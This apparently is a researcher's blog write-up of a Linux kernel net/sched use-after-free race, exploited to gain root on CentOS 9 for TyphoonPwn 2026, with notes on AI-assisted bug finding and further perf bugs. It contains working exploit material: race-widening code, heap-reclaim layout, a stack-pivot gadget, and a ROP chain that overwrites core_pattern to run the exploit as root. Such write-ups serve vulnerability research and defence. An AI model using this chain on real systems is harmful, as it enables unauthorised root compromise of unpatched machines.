When AI Makes 0-Days Feel Like N-Days

Table of Contents

Introduction

After my n-day analysis on net/tls bugs and exploit writing for a patched net/rxrpc bug, I moved on to 0-day bug hunting. With the help of AI, I found a UAF bug in net/sched, and went about creating an LPE exploit based on it. This blog goes into the technical details of that exploit, and how I optimized it to target CentOS 9 desktop in TyphoonPwn 2026.

Additionally, I will show a glimpse of two other exploitable bugs I found in kernel/events/core.c (with an LPE exploit for one).

AI usage

Compared to my previous exploit for an n-day in net/rxrpc, I had a greater focus on completing and improving this exploit quickly rather than fully understanding every aspect from the ground up. As such, I used AI to speed up various aspects of the process - discovery of the bug, KASAN poc, and improving the race condition. It was certainly helpful for iterating quickly, but still lacking in reasoning ability and having clear blind spots. It was still crucial to exercise my own judgement especially when fine-tuning.

Brief conceptual overview of net/sched

net/sched is the packet scheduling subsystem in linux. It sits in a layer above the device drivers, and decides when, in what order, and whether packets are transmitted. It also provides an API through netlink to configure packet handling rules. Each network device is attached to a Qdisc (queueing discipline) that holds all this configuration data.

To decide what to do with a given packet, net/sched introduces chains, filters and actions. Chains are an ordered list of filters, filters check for certain attributes in the packet, and based on that, decide what action to perform on it.

net/sched is designed in a way to maximally allow reuse of components - multiple network devices can share the same Qdisc. Importantly for this bug, actions can be shared within the same net namespace, and are uniquely identified by an “index”. A per-net radix tree action_idr records all action objects and enables lookup by their indexes. This is done by the tcf_idr_check_alloc function:

int tcf_idr_check_alloc(struct tc_action_net *tn, u32 *index,
			struct tc_action **a, int bind)
{
	struct tcf_idrinfo *idrinfo = tn->idrinfo;
	struct tc_action *p;
	int ret;
	u32 max;

	if (*index) {
		rcu_read_lock();
		p = idr_find(&idrinfo->action_idr, *index); // [0]: ACTION LOOKUP

		// [1]: WINDOW OPENS

		if (IS_ERR(p)) {
			/* This means that another process allocated
			 * index but did not assign the pointer yet.
			 */
			rcu_read_unlock();
			return -EAGAIN;
		}

		if (!p) {
			/* Empty slot, try to allocate it */
			max = *index;
			rcu_read_unlock();
			goto new;
		}

		// [2]: WINDOW CLOSES

		if (!refcount_inc_not_zero(&p->tcfa_refcnt)) {
			/* Action was deleted in parallel */
			rcu_read_unlock();
			return -EAGAIN;
		}

		if (bind)
			atomic_inc(&p->tcfa_bindcnt);
		*a = p;

		rcu_read_unlock();

		return 1;
	} else {
		/* Find a slot */
		*index = 1;
		max = UINT_MAX;
	}

new:
	*a = NULL;

	mutex_lock(&idrinfo->lock);
	ret = idr_alloc_u32(&idrinfo->action_idr, ERR_PTR(-EBUSY), index, max,
			    GFP_KERNEL);
	mutex_unlock(&idrinfo->lock);

	/* N binds raced for action allocation,
	 * retry for all the ones that failed.
	 */
	if (ret == -ENOSPC && *index == max)
		ret = -EAGAIN;

	return ret;
}

When creating a filter with a list of actions, we can simply specify the action index and it will be fetched from the idr without having to create a new object.

For this exploit, we need only focus on the netlink operations used to configure packet-handling rules, specifically those for creating and deleting filters.

The bug

The vulnerability is a lock-mismatch: tcf_idr_check_alloc() accesses the action idr with only rcu_read_lock(), while actions are freed with idrinfo->lock and rtnl_lock() held, but without waiting for the RCU grace period (i.e. raw kfree).

Thus, this leads to a race condition where the action can be freed during lookup leading to a UAF scenario.

Take another look at the tcf_idr_check_alloc function above. If the retrieved tc_action has a tcfa_refcnt of 0, it gets dropped harmlessly. Thus, for a successful UAF we have to both free and reclaim the action (to overwrite tcfa_refcnt) within the same window [1] to [2].

The basic structure of the race looks like this:

CPU 0: lookup action  CPU 1: delete action  CPU 2: reclaim
====================  ====================  ==============
p = idr_find(
  &idrinfo->action_idr,
  *index
);
                      kfree(p);
                                            // reclaim
                                            // set p->tcfa_refcnt != 0
refcount_inc_not_zero(
  &p->tcfa_refcnt
)

How are these functions reached?

I initially proved the bug using RTM_NEWACTION and RTM_DELACTION. However, these operations require CAP_NET_ADMIN in the init namespace, making this path infeasible:

static int tc_ctl_action(struct sk_buff *skb, struct nlmsghdr *n,
			 struct netlink_ext_ack *extack)
{
	struct net *net = sock_net(skb->sk);
	struct nlattr *tca[TCA_ROOT_MAX + 1];
	u32 portid = NETLINK_CB(skb).portid;
	u32 flags = 0;
	int ret = 0;

	if ((n->nlmsg_type != RTM_GETACTION) &&
	    !netlink_capable(skb, CAP_NET_ADMIN))
		return -EPERM;

Instead, we have to use RTM_NEWTFILTER and RTM_DELTFILTER. When creating a filter, we also specify a list of actions to create along with it. Likewise, deleting a filter allows us to free its actions once all other refs have been dropped.

By itself, this race is pretty challenging to hit. In the next section I’ll describe the techniques I used to ensure the race gets hit quickly, but first, some requirements for this exploit:

Extra requirements

Note that in most cases, rtnl_lock() is taken in this path:

static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack)
{
	...

	/* Take rtnl mutex if rtnl_held was set to true on previous iteration,
	 * block is shared (no qdisc found), qdisc is not unlocked, classifier
	 * type is not specified, classifier is not unlocked.
	 */
	if (rtnl_held ||
	    (q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
	    !tcf_proto_is_unlocked(name)) {
		rtnl_held = true;
		rtnl_lock();
	}

By using a clsact qdisc and flower filter (which have the necessary DOIT_UNLOCKED flags set), we can avoid taking the lock. This requires CONFIG_NET_ACT_GACT=y or m and CONFIG_NET_CLS_FLOWER=y or m.

Since the bug can only be reached through netlink operations, we need to create a separate user namespace to have CAP_NET_ADMIN and pass the check:

static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
			     struct netlink_ext_ack *extack)
{
	...

	if (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))
		return -EPERM;

Thus, this exploit also requires unprivileged user namespaces to be enabled.

Race optimization

The first optimization is a generic window-widening technique using timerfd and epoll, described in detail here. Basically, timerfds allow a user to specify a certain timespan, after which a hardware interrupt is triggered on the same CPU and the handler code is run, which signals all waiters. By attaching many epoll objects we can make the list of waiters really long, stalling the CPU. Also do a sweep on the time taken from timer start to the race window:

struct itimerspec its = { .it_value = { .tv_nsec = 30000 } };
timerfd_settime(tfd, 0, &its, NULL);

volatile int j;
int spin = (i * 37) % 2000;
for (j = 0; j < spin; j++);

int ret = nl_do(fd, (struct nlmsghdr *)b->buf); // Add a filter, reaches tcf_idr_check_alloc

The second optimization is for separate threads to create filters on separate chains. Each chain has its own mutex that gets taken during tcf_chain_tp_find in tc_new_tfilter. Using separate chains sped up the race by a surprising amount.

The third optimization is a major restructuring of the race, by using an error path that lets us eliminate a lot of overhead. This setup uses 2 types of racing threads: binder and deleter.

1. Binder threads

This thread utilizes the error path in filter creation. It submits a filter create request with two actions:

  1. Action with idx 42
  2. Action with invalid format

The first action is successfully fetched with tcf_idr_check_alloc(), and the race happens here [0]. If action 42 isn’t in the idr, it gets allocated but not inserted into the idr (bulk-insertion is only done at the end of the function [2], but this is never reached). Upon reading the second action, it fails and aborts [1]; a filter is never created and nothing is inserted into the idr. See here for the full function.

int tcf_action_init(struct net *net, struct tcf_proto *tp, struct nlattr *nla,
		    struct nlattr *est, struct tc_action *actions[],
		    int init_res[], size_t *attr_size,
		    u32 flags, u32 fl_flags,
		    struct netlink_ext_ack *extack)
{
	...

	for (i = 1; i <= TCA_ACT_MAX_PRIO && tb[i]; i++) {
		act = tcf_action_init_1(net, tp, tb[i], est, ops[i - 1],
					&init_res[i - 1], flags, extack);	// [0]
		if (IS_ERR(act)) {
			err = PTR_ERR(act);
			goto err;									// [1]
		}
		sz += tcf_action_fill_size(act);
		/* Start from index 0 */
		actions[i - 1] = act;
		...
	}

	/* We have to commit them all together, because if any error happened in
	 * between, we could not handle the failure gracefully.
	 */
	tcf_idr_insert_many(actions, init_res);				// [2]

	*attr_size = tcf_action_full_attrs_size(sz);
	err = i - 1;
	goto err_mod;

err:
	tcf_action_destroy(actions, flags & TCA_ACT_FLAGS_BIND);
err_mod:
	for (i = 0; i < TCA_ACT_MAX_PRIO && ops[i]; i++)
		module_put(ops[i]->owner);
	return err;
}

This saves the overhead of a second netlink operation to delete the newly created filter.

2. Deleter threads

This thread does 2 main things:

  1. Creates a filter with one action, idx 42
  2. Deletes that filter

Contrary to the name, the action might not be freed here, rather, it’s freed on whichever thread dropped the last ref. This thread exists only to insert action 42 into the idr. Thus, only one of it is necessary.

Final race setup

We have N binder threads and a single deleter thread running on separate CPUs, all operating with action 42. With this setup, time taken from over 15 minutes to around 5 seconds. This can likely be brought down further by using multiple action indexes.

kASLR leak

At the start of the exploit, I used the EntryBleed implementation here to leak kaslr.

Exploit - primitives

tc_action is a rich object and there are many useful primitives in the post-reclaim code paths. For example, arbitrary kfree of user_cookie->data and user_cookie (which could be used for a data-only exploit). For this exploit I used an indirect call in the ops vtable:

static size_t tcf_action_fill_size(const struct tc_action *act)
{
	size_t sz = tcf_action_shared_attrs_size(act);

	if (act->ops->get_fill_size)
		return act->ops->get_fill_size(act) + sz;
	return sz;
}

Reclaim object

tc_action is allocated from the kmalloc-256 cache. I reclaim it with a user_key_payload object:

    tc_action             user_key_payload
    =========             ================
 0  tc_action_ops *ops    *rcu.next
 8  u32 type              *rcu.func
16  tcf_idrinfo *idrinfo  u16 datalen
24  u32 tcfa_index        data[0:8]  (user controlled)
    ...                   data[8:16] (cont.)

Actually, the victim object is sometimes reclaimed by a temporary buffer allocated by keyctl to copy user data:

    tc_action             payload
    =========             =======
 0  tc_action_ops *ops    data[0:8]  (user controlled)
    ...                   data[8:16] (cont.)

I built an initial exploit around the second case, but the final version uses the first case since it’s simpler and more reliable. To avoid crashes when the victim happens to be reclaimed by payload, I set the first 8 bytes of data to a pointer to NULL (obtained through kaslr leak), harmlessly avoiding the calls.

In retrospect, simply setting len(data) == 192 such that the temporary buffer falls in a different kmem_cache would actually be better. 192 bytes is sufficient to overwrite all important fields.

RCU

Before gaining RIP control, this is a brief detour into linux RCU to explain how the rcu_head part of user_key_payload works. RCU is a cheap synchronization mechanism where all reads are done within a “grace period”, and all the writes/updates afterwards.

Here is a good article that delves into RCU internals: https://u1f383.github.io/linux/2024/09/20/linux-rcu-internal.html

One of the ways to achieve this is by deferring writes using the call_rcu(head, func) function. This function takes a pointer to the rcu_head struct within the target object, and a function pointer to perform the update (in this case free) on that object. call_rcu adds it to a per-cpu linked list of all the rcu updates to be done, and the function continues without blocking. After the grace period, all those functions are invoked.

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

Taking the example of user_key_payload, the RCU callback is defined as:

static void user_free_payload_rcu(struct rcu_head *head)
{
	struct user_key_payload *payload;

	payload = container_of(head, struct user_key_payload, rcu);
	kfree_sensitive(payload);
}

And it gets called here (this is also the function used for the reclaim spray):

int user_update(struct key *key, struct key_preparsed_payload *prep)
{
	struct user_key_payload *zap = NULL;
	int ret;

	/* check the quota and attach the new data */
	ret = key_payload_reserve(key, prep->datalen);
	if (ret < 0)
		return ret;

	/* attach the new data, displacing the old */
	key->expiry = prep->expiry;
	if (key_is_positive(key))
		zap = dereference_key_locked(key);
	rcu_assign_keypointer(key, prep->payload.data[0]);
	prep->payload.data[0] = NULL;

	if (zap)
		call_rcu(&zap->rcu, user_free_payload_rcu); // <--
	return ret;
}

KEYCTL_UPDATE spray

As shown in the function above, KEYCTL_UPDATE allocates a new user_key_payload and frees the old one by RCU. By repeatedly calling KEYCTL_UPDATE, we can reclaim the victim object with user_key_payload objects linked by rcu.next, which overlaps the ops vtable! This gives us RIP control by setting a pointer at offset +0x70.

alt text

RIP control to arbitrary write

There are techniques to spray carefully crafted BPF shellcode to get a “kernel one-gadget” that performs an arbitrary write, see here. I used this in my initial exploit, but this proved unreliable as it requires fine-tuning for each machine based on space taken up by other modules and existing BPF JIT packs, and for some reason the FPU register state sometimes gets cleared randomly.

Fortunately, on the target CentOS 9 desktop, there is a much simpler and more reliable solution. Look at the shellcode for tcf_action_fill_size:

alt text

rbp points to our reclaimed user_key_payload! This makes it easy to do a stack pivot onto the nearby buffer holding our data. We need a total of 4 pops (for rcu.next, rcu.func, datalen, and the previously set pointer to NULL). I used the following gadget at .ktext+0x6ccc7d:

leave
pop rax
mov rax,r9
pop rbp
pop r14
jmp 0xffffffff81d6dcf0  <__x86_return_thunk>

On later kernel versions tcf_action_fill_size uses ebp instead of rbp, so this method doesn’t work

One final, minor bug

I wrote a ROP chain to overwrite core_pattern, but the exploit kept crashing after the write succeeded. After much debugging, I realised it was because I was leaving the kernel stack pointer inside a heap object. After the write, I had placed an msleep(0x80000) (it was impossible to restore the original rsp to exit gracefully). This causes a context switch to another thread, and the stack grows downwards and writes pt_regs while still inside user_key_payload, corrupting adjacent heap objects and causing a kernel panic.

To fix this, I simply did another stack pivot to a (seemingly) unused memory region in .ktext that wall full of NULLs (this is the same address of the pointer to NULL at the start of the key payload data). This way, there would be more room for the kernel stack, and it solved the crash. Here’s the final ROP chain:

((u64 *)keyctl_payload)[0] = NULL_AT;
((u64 *)keyctl_payload)[1] = POP_RDI_RET;
((u64 *)keyctl_payload)[2] = NULL_AT;
((u64 *)keyctl_payload)[3] = POP_RSI_RET;
((u64 *)keyctl_payload)[4] = (u64)&pivot_rop;
((u64 *)keyctl_payload)[5] = POP_RDX_RET;
((u64 *)keyctl_payload)[6] = sizeof(pivot_rop);
((u64 *)keyctl_payload)[7] = COPY_FROM_USER;
((u64 *)keyctl_payload)[8] = POP_RSP_RET;
((u64 *)keyctl_payload)[9] = NULL_AT;

((u64 *)keyctl_payload)[11] = STACK_PIVOT; // treated as p->ops->get_fill_size

((u32 *)keyctl_payload)[(128-24) / 4] = 0; // set spinlock to 0 so it doesnt crash
((u64 *)keyctl_payload)[(0xb0-24) / 8] = 0; // set user_cookie = NULL

Part 2:

char *fake_core_pattern = "|/proc/%P/fd/666 %P";

unsigned long long pivot_rop[] = {
	POP_RDI_RET,
	CORE_PATTERN,
	POP_RSI_RET,
	(unsigned long long)fake_core_pattern,
	POP_RDX_RET,
	0x30,
	COPY_FROM_USER,
	POP_RDI_RET,
	0x80000,
	MSLEEP,
};

With that, core_pattern is overwritten. We simply poll it occasionally to check when it gets changed (for now, every 500 iters on the deleter thread). After which, we open a memfd with our exploit binary’s contents, dup it to 666, and crash. Linux executes our binary as the core dump handler (runs as root in the init namespace). This is a common technique:

if (fork() == 0) {
	setsid();
	int memfd = memfd_create("", 0);
	SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
	dup2(memfd, 666);
	close(memfd);
	*(size_t *)0 = 0;
}

Final exploit

I installed CentOS 9 desktop on my i5-1235U laptop (TyphoonPwn used i5-1334U) and ran the final exploit 10 times consecutively. All runs succeeded, taking 10s, 10s, 9s, 11s, 11s, 111s, 64s, 69s, 47s, 10s. The spike in time taken was probably due to CPU frequency being throttled due to temperature (after run 7, I let the laptop cool down for a while).

Actually, runs that took 10s often had overwritten core_pattern within much sooner. I probably should have made checks more frequent, perhaps with an exponentially growing check interval (you can see this in the video below).

The main disadvantage of this exploit is that it relies on hardcoded ROP gadget offsets that need to be tuned for different kernels (in particular, it will be much harder and sometimes impossible to stack pivot in the same way). Perhaps if I had to write it all over again, I would focus on a data-only approach with the arbitrary kfree primitive (maybe somehow free a pipe_buffer page and reclaim it with a PTE).

Demo video

I’m writing this 2 months after the fact and have already uninstalled CentOS 9, also the original image I tested on (CentOS-Stream-9-20260526.0-x86_64-dvd1) is no longer available. Instead, I setup a VM with the oldest available iso (CentOS-Stream-9-20260706.0-x86_64-dvd1) which seems to be still vulnerable, and updated the ROP chain offsets.

As you can see, binder 1 stops printing almost immediately, and binder 0 stops printing shortly after. This is because they got blocked by msleep() after the core_pattern overwrite (it actually happened twice in this run before it got detected).

TyphoonPwn 2026 results

TyphoonPwn 2026 ran in this format: each participant would be given a randomized queue number, which was the order our exploits would be run. The first 3 to successfully root the machine would win cash prizes (70k, 35k, 17.5k), after which the category was closed and subsequent exploits would not be tested. Participants also had 3 attempts given within a 30-minute window. Between these attempts, participants could also debug and fix their exploits. On 27 May 8am SGT, the day before the competition, each registered participant would be told their queue number and given the option to send their exploit and writeup, or withdraw from the competition.

As soon as I woke up that morning, I immediately checked my phone for my queue number.

8th out of 11 participants

Well, this was quite an unfortunate result. I would need 5 exploits to fail (each with 3 attempts) before I even stood a chance of winning a prize! Nevertheless, I still sent over my exploit and writeup.

At 3.13pm, I received another email that there were already 3 winners for the Linux LPE category. As such, I sadly never got to demonstrate my exploit.

To make matters worse, a few days later, someone told me that KyleBot had already reported the bug 2 days before TyphoonPwn!

alt text

To be honest, I couldn’t be too surprised - even though the bug is 2-3 years old, it was found by AI without much extra context.

This vulnerability was assigned CVE-2026-53264, patched in this commit. The exploit I submitted for TyphoonPwn can be found here.

Other bugs found

By experimenting with different tooling and approaches, I found a few other exploitable bugs in Linux. I reported the two most valuable ones (both in perf/events), which are reachable for kernels running on Intel bare metal and perf_event_paranoid <= 2 (true for RHEL-based distros, Arch, etc. but not Debian-based distros). Their use is limited mainly to desktop Linux, since almost all cloud instances run in VMs which don’t allow access to the intel_pt PMU.

To be honest, I was never really targeting this subsystem, and both these bugs were found while testing other tools. I will likely do a separate blog post on them in the future.

The first bug (patch here) was found by searching for the same “raw free with rcu access” pattern. It gives a UAF-write primitive but is difficult to control as it overwrites pretty much the entire object.

The second bug (patch here) was found around the 2nd last week of my internship! It gives a powerful page-UAF primitive, which I quickly converted to a reliable LPE:

The same exploit was also tested successfully on Arch, kernel 7.0.12-arch1-1. This was assigned CVE-2026-64300.

Closing thoughts

This internship was my first look into the Linux kernel, and it has been highly educational. One thing that surprised me was how effective AI was in finding bugs in Linux. In a sense, this made it feel more like I was doing n-day analysis even on new bugs. It also meant I was spending more time thinking of the bug-hunting process on a higher level rather than studying subsystem internals.

However, I believe there is still much value in diving into subsystem internals, and it’s something I think I wish I had done more of. AI still has many blind spots and lapses in reasoning ability, so having a deep understanding of the target helps in finding ideas that AI overlooks. And even if I don’t find anything, I still learned something cool!